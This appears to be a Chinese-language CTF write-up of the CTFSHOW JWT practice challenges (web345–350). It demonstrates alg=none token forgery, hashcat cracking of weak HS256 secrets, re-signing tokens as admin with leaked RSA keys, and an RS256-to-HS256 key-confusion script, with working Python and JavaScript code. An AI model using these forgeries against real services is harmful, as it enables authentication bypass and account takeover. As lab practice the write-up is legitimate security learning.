Practice - CTFSHOW WEB入门 JWT篇

web345

复现失败,题目改过了,{"sub":"admin"} 也不好使,外面还多了一层中括号。。。

web346

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
$ python .\jwt_tool.py 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NDg0MTc5NiwiZXhwIjoxNjU0ODQ4OTk2LCJuYmYiOjE2NTQ4NDE3OTYsInN1YiI6InVzZXIiLCJqdGkiOiJiZWIyNDgxZDA1MzZhZjUxMjBlN2UxNzdmNDU5ZjU4YSJ9.MbQ4es2RnGnDMlzC8kGhUjV2dwEcPEO58Pf_WjYoxtU'

\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.0.2 \______| @ticarpi

Original JWT:

=====================
Decoded Token Values:
=====================

Token header values:
[+] alg = "HS256"
[+] typ = "JWT"

Token payload values:
[+] iss = "admin"
[+] iat = 1654841796 ==> TIMESTAMP = 2022-06-10 14:16:36 (UTC)
[+] exp = 1654848996 ==> TIMESTAMP = 2022-06-10 16:16:36 (UTC)
[+] nbf = 1654841796 ==> TIMESTAMP = 2022-06-10 14:16:36 (UTC)
[+] sub = "user"
[+] jti = "beb2481d0536af5120e7e177f459f58a"

Seen timestamps:
[*] iat was seen
[*] exp is later than iat by: 0 days, 2 hours, 0 mins

----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------

尝试 none 攻击

1
2
3
4
5
6
# {"alg":"none","typ":"JWT"}
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
# {"iss":"admin","iat":1654841796,"exp":1654848996,"nbf":1654841796,"sub":"admin","jti":"beb2481d0536af5120e7e177f459f58a"}
eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NDg0MTc5NiwiZXhwIjoxNjU0ODQ4OTk2LCJuYmYiOjE2NTQ4NDE3OTYsInN1YiI6ImFkbWluIiwianRpIjoiYmViMjQ4MWQwNTM2YWY1MTIwZTdlMTc3ZjQ1OWY1OGEifQ
# payload
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NDg0MTc5NiwiZXhwIjoxNjU0ODQ4OTk2LCJuYmYiOjE2NTQ4NDE3OTYsInN1YiI6ImFkbWluIiwianRpIjoiYmViMjQ4MWQwNTM2YWY1MTIwZTdlMTc3ZjQ1OWY1OGEifQ.

别忘了结尾的 .

web347

这次改成 none 不行了,hashcat 爆破 secret:

1
2
$ .\hashcat.exe -m 16500 I:\test\ctfshow\web347\jwt.txt -a 3 -w 3 ?d?d?d?d?d?d
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NDg0MzA1MiwiZXhwIjoxNjU0ODUwMjUyLCJuYmYiOjE2NTQ4NDMwNTIsInN1YiI I6InVzZXIiLCJqdGkiOiJjOGUxODFkNjI1NmU3NGNlNDQ4OWMxZmFiMTM0ZmY3NyJ9.Q5ZvANDXJ5uGUmS7HuxzUqBdNy_QO0gUDQHCPqapqr8:123456

于是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import base64
import json

import jwt

jwt_origin = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NDg0NjgxNywiZXhwIjoxNjU0ODU0MDE3LCJuYmYiOjE2NTQ4NDY4MTcsInN1YiI6InVzZXIiLCJqdGkiOiI3YjIxMzNiZWQ5OWRjMGQ1MTM3N2YxNDFhYWQyZmVjOSJ9.Gnhw24pqJOTZ23ncvSzJuHHPgys2F2ISCf4_kGmiRtA"
secret = "123456"
alg = json.loads(base64.b64decode(jwt_origin.split(".")[0]))["alg"]
payload = jwt.decode(jwt_origin, secret, algorithms=alg)

print("before: ", payload)
payload["sub"] = "admin"
print("after: ", payload)

jwt_payload = jwt.encode(payload, secret, algorithm=alg)
print(jwt_payload)

web348

提示和上题一样,hashcat 爆破

1
2
.\hashcat.exe -m 16500 I:\test\ctfshow\web348\jwt.txt -a 3 -w 3 ?b?b?b?b
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NDg1MzIwNywiZXhwIjoxNjU0ODYwNDA3LCJuYmYiOjE2NTQ4NTMyMDcsInN1YiI I6InVzZXIiLCJqdGkiOiI3ZGYzZDRmMjIyYTBmMjk5OWI0MTYwNTZjNGUxNzEyOCJ9.6VABqSwnJJhNNF4fH_VrNjqxpsFZvNV_O0YjfzxxO3s:aaab

于是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import base64
import json

import jwt

jwt_origin = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NDg1MzIwNywiZXhwIjoxNjU0ODYwNDA3LCJuYmYiOjE2NTQ4NTMyMDcsInN1YiI6InVzZXIiLCJqdGkiOiI3ZGYzZDRmMjIyYTBmMjk5OWI0MTYwNTZjNGUxNzEyOCJ9.6VABqSwnJJhNNF4fH_VrNjqxpsFZvNV_O0YjfzxxO3s"
secret = "aaab"
alg = json.loads(base64.b64decode(jwt_origin.split(".")[0]))["alg"]
payload = jwt.decode(jwt_origin, secret, algorithms=alg)

print("before: ", payload)
payload["sub"] = "admin"
print("after: ", payload)

jwt_payload = jwt.encode(payload, secret, algorithm=alg)
print(jwt_payload)

web349

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');

});

router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});

私钥公钥都放 /public。。。 彳亍
这里用 jwt.decode RS256 遇到了坑,是这样解决的 https://stackoverflow.com/questions/65987293/typeerror-load-pem-private-key-missing-1-required-positional-argument-backe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import base64
import json

import jwt

jwt_origin = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImlhdCI6MTY1NDg1NDAyM30.LoQYsGNplceMfmHPkysbc6ZTdNdpWOxuUpBu1IiyW_CUafDDEIyCxsJjjrOpo7RftkLC6O_kVd95R_E8SLzS7OTtUX-rYE3Z4XRFab-z8mgrPF2x_aE8Cb48WB-TNCrzseUCjcixO55PTN4aJc8S9hQpaZN6ita9QVAWGs_YQsY"
# secret = "aaab"
with open("private.key", "rb") as f:
private_key = f.read()
with open("public.key", "rb") as f:
public_key = f.read()


alg = json.loads(base64.b64decode(jwt_origin.split(".")[0]))["alg"]
payload = jwt.decode(jwt_origin, public_key, algorithms=alg)

print("before: ", payload)
payload["user"] = "admin"
print("after: ", payload)

jwt_payload = jwt.encode(payload, private_key, algorithm=alg)
print(jwt_payload)

web350

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
var express = require('express');
var router = express.Router();
var jwt = require('jsonwebtoken');
var fs = require('fs');

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//routes/private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });

res.cookie('auth',token);
res.end('where is flag?');

});

router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//routes/public.key'); // get public key
jwt.verify(auth, cert,function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin'+err);
}
});
});

module.exports = router;

RS256 => HS256,对称加密公钥当密码,python 写总报错绕过了生成的也不能用,找了个 js 脚本

1
2
3
4
5
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public/public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)